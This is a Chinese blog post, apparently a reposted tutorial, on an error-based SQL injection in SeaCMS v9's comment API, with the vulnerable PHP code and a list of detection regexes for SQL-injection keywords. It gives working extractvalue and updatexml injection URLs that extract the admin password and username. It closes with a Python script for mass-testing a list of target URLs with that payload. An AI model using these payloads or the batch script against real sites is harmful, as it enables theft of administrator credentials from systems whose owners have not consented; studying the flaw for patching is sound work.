seacmsv9 SQL注入漏洞(报错注入)

news/2025/2/23 20:04:14

一、海洋CMS简介

海洋cms是为解决站长核心需求而设计的视频内容管理系统,一套程序自适应电脑、手机、平板、APP多个终端入口,无任何加密代码、安全有保障,是您最佳的建站工具。——来自seacms官网(简而言之就是专门搭建看片网站的cms)

二、漏洞分析

漏洞文件:./comment/api/index.php,漏洞参数:$rlist

漏洞产生处code如下

session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
        if(file_exists($jsoncachefile))
        {
                $json=LoadFile($jsoncachefile);
                die($json);
        }
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
        createTextFile($h,$jsoncachefile);
}
die($h);        
 
function ReadData($id,$page)
{
        global $type,$pCount,$rlist;
        $ret = array("","",$page,0,10,$type,$id);
        if($id>0)
        {
                $ret[0] = Readmlist($id,$page,$ret[4]);
                $ret[3] = $pCount;
                $x = implode(',',$rlist);
                if(!empty($x))
                {
                $ret[1] = Readrlist($x,1,10000);
                }
        }
        $readData = FormatJson($ret);
        return $readData;
}
 
function Readmlist($id,$page,$size)
{
        global $dsql,$type,$pCount,$rlist;
        $ml=array();
        if($id>0)
        {
                $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
                $rs = $dsql ->GetOne($sqlCount);
                $pCount = ceil($rs['dd']/$size);
                $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
                $dsql->setQuery($sql);
                $dsql->Execute('commentmlist');
                while($row=$dsql->GetArray('commentmlist'))
                {
                        $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
                        $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
                }
        }
        $readmlist=join($ml,",");
        return $readmlist;
}
 
function Readrlist($ids,$page,$size)
{
        global $dsql,$type;
        $rl=array();
        $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
        $dsql->setQuery($sql);
        $dsql->Execute('commentrlist');
        while($row=$dsql->GetArray('commentrlist'))
        {
                $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
        }
        $readrlist=join($rl,",");
        return $readrlist;
}


$rlist还未被初始化就先进入到了ReadData函数,但实际上 $rlist 可控,最终Readrlist函数造成注入

代码审计

  • \\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)

    • 这个部分检测 SQL 注入攻击中的 concat() 函数,用来防止注入字符串拼接。

  • \\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)

    • 防止 SQL 注入中的 case when 语句被利用,通常用于条件注入或绕过 SQL 过滤。

  • load_file\s*?\\()

    • 防止 SQL 注入中使用 load_file() 函数,这是某些数据库(如 MySQL)中用于读取文件内容的函数。

  • \\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\()

    • 这个部分主要是为了检测 SQL 注入中常用的 andor 逻辑运算符,防止布尔型注入攻击。它允许匹配各种 SQL 语句中的等号(=)、括号、引号、数字等。

  • \\blike\\b\\s+?[\"']

    • 这个部分用来检测 SQL 中的 LIKE 子句,防止利用 LIKE 进行注入攻击。

  • \\/\\*.*\\*\\/

    • 检测 SQL 注入中常用的注释符号 /* ... */,用于绕过 SQL 语句的过滤。

  • \\bEXEC\\b

    • 检测 SQL 注入中 EXEC 关键字的使用,这通常用来执行存储过程。

  • UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(|'|").?(`|'|")\s)`:

    • 防止 UNION SELECT 注入,通常用于合并多个查询的结果。

  • UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(|'|").?(`|'|")\s)SET`:

    • 防止 SQL 注入中的 UPDATE 语句注入。

  • INSERT\\s+INTO.+?VALUES

    • 防止通过 INSERT INTO ... VALUES 注入数据。

  • (SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(|'|").*?(|'|\"))FROM

    • 防止通过 SELECTDELETE 等 SQL 语句注入查询或删除操作。

  • (CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)

    • 防止 CREATEALTERDROP 等 SQL 语句被用来修改数据库结构。

三、尝试注入

1,有报错

http://127.0.0.1/cms9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),`%27`

2,无回显(原因是返回值为空)

http://127.0.0.1/cms9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

3,不正确的错误

http://127.0.0.1/cms9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,extractvalue(1,concat_ws(0x20,%200x5c,%20(select%20(password)from%20sea_admin))),`%27`

4,注释符报错

http://127.0.0.1/cms9/upload/comment/api/index.php?gid=1&page=2&rlist[]=/*@`%27`*/,extractvalue(1,concat_ws(0x20,%200x5c,%20(select%20(password)from%20sea_admin))),`%27`

四、找出问题(参考资料)

 原来是sea_comment内为空,造成返回值为空,导致无回显

解决方案:插入两条数据

mysql> desc sea_comment;--查看表结构;
+----------+-----------------------+------+-----+---------+----------------+
| Field    | Type                  | Null | Key | Default | Extra          |
+----------+-----------------------+------+-----+---------+----------------+
| id       | int(10) unsigned      | NO   | PRI | NULL    | auto_increment |
| uid      | mediumint(8) unsigned | NO   |     | 0       |                |
| v_id     | mediumint(8) unsigned | NO   | MUL | 0       |                |
| typeid   | smallint(5) unsigned  | NO   |     | 0       |                |
| username | char(20)              | NO   |     |         |                |
| ip       | char(15)              | NO   |     |         |                |
| ischeck  | smallint(6)           | NO   |     | 0       |                |
| dtime    | int(10) unsigned      | NO   |     | 0       |                |
| msg      | text                  | YES  |     | NULL    |                |
| m_type   | int(6) unsigned       | NO   |     | 0       |                |
| reply    | int(6) unsigned       | NO   |     | 0       |                |
| agree    | int(6) unsigned       | NO   |     | 0       |                |
| anti     | int(6) unsigned       | NO   |     | 0       |                |
| pic      | char(255)             | NO   |     |         |                |
| vote     | int(6) unsigned       | NO   |     | 0       |                |
+----------+-----------------------+------+-----+---------+----------------+
15 rows in set (0.00 sec)

mysql> INSERT INTO sea_comment (uid, v_id, typeid, username, ip, ischeck, dtime, msg, m_type, reply, agree, anti, pic, vote)
    -> VALUES
    -> (1, 100, 1, 'user1', '192.168.1.1', 1, UNIX_TIMESTAMP(), 'This is a comment', 1, 0, 0, 0, 'image1.jpg', 10),
    -> (2, 101, 2, 'user2', '192.168.1.2', 1, UNIX_TIMESTAMP(), 'This is another comment', 2, 0, 0, 0, 'image2.jpg', 5);--插入数据

Query OK, 2 rows affected (0.00 sec)
Records: 2  Duplicates: 0  Warnings: 0

成功注入

注入payload

 extractvalue注入

http://127.0.0.1/cms9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`%20
http://127.0.0.1/cms9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),@`%27`%20

updatexml注入

http://127.0.0.1/cms9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`'`, updatexml
(1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @`'`

五、实战脚本(url.txt内容为你要批量测试的url)

import requests
print(" Seacms v9 SQL Injection-Author:J0o1ey QQ:547006660")
urls = open(r"url.txt", "r")
payload = '/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`'
for url in urls:
    testurl = url.strip() + payload
    html = requests.get(testurl).text
    if "seacms" in html:
        print("[+]Exploit URL:" + testurl)


http://www.niftyadmin.cn/n/5863733.html

相关文章

Android输入事件传递流程系统源码级解析

1. 硬件层到Linux内核 设备节点&#xff1a;触摸事件由内核驱动捕获&#xff0c;写入/dev/input/eventX。关键结构体&#xff1a;input_event&#xff08;包含时间戳、类型、代码、值&#xff09;。 2. Native层处理&#xff08;system_server进程&#xff09; 2.1 EventHub …

DeepSeek:AI商业化的新引擎与未来蓝图

摘要 在人工智能迅猛发展的浪潮中&#xff0c;DeepSeek以其卓越的技术实力和高超的商业化能力崭露头角。作为一款现象级AI产品&#xff0c;它不仅在算法性能上位居行业前列&#xff0c;还通过灵活的定制解决方案渗透到金融、医疗、零售等多个领域。DeepSeek以创新的商业模式和场…

Python爬虫实战:获取腾牛网高清壁纸图片

注意:以下内容仅供技术研究,请遵守目标网站的robots.txt规定,控制请求频率避免对目标服务器造成过大压力! 1. 核心思路 要使用爬虫技术从 www.qqtn.com 网站获取壁纸图片,核心思路是模拟浏览器向目标网站发送请求,获取网页的 HTML 内容,然后对其进行解析以提取图片链接…

华为动态路由-OSPF-综合案例

华为动态路由-OSPF-综合案例 一、OSPF简介 1、OSPF概述 OSPF是一种开放式的、基于链路状态的内部网关协议&#xff08;IGP&#xff09;&#xff0c;用于在自治系统内部进行路由选择和通信。 OSPF是互联网工程任务组&#xff08;IETF&#xff09;定义的标准之一&#xff0c;被…

大白话React第一章基础入门

大白话React第一章基础入门 1. 环境准备 咱要学 React 开发&#xff0c;就好比要开一家蛋糕店&#xff0c;首先得把开店要用的工具和场地准备好。 安装 Node.js 和 npm&#xff1a;Node.js 就像是蛋糕店的烤箱&#xff0c;有了它&#xff0c;咱们写的代码才能像蛋糕一样“烤…

uniapp微信小程序PC端选择文件(无法使用wx.chooseMessageFile问题)

客户要求通过小程序选择excel文件并读取数据导入&#xff0c;查了一下资料&#xff0c;微信小程序选择文件是调用API【wx.chooseMessageFile】&#xff0c;知道了之后马上开干&#xff0c;没一会做好了&#xff0c;却发现在电脑端微信小程序上面调用此API没有反应&#xff0c;一…

在摩尔线程 MTT S80 上使用 Ollama 进行 DeepSeek R1 蒸馏版模型推理

什么是 Ollama?​ Ollama 是一个工具和平台&#xff0c;专注于简化和优化大语言模型&#xff08; LLM &#xff09;的管理和部署。它主要提供了一种方便的方式&#xff0c;在本地或边缘设备上运行、管理和调用大型语言模型&#xff0c;同时通过其特有的 Docker 集成和 API 接…

Kubernetes 中服务注册机制解析:自动化与灵活性的背后

目录 1. 引言:Kubernetes 中的服务注册与发现2. Kubernetes 中的服务注册与发现2.1 Kubernetes Service3. 服务注册流程3.1 Pod 与 Service 的关联3.2 自动注册3.3 DNS 解析与服务发现4. 例子:Kubernetes 服务注册与发现流程5. 总结1. 引言:Kubernetes 中的服务注册与发现 …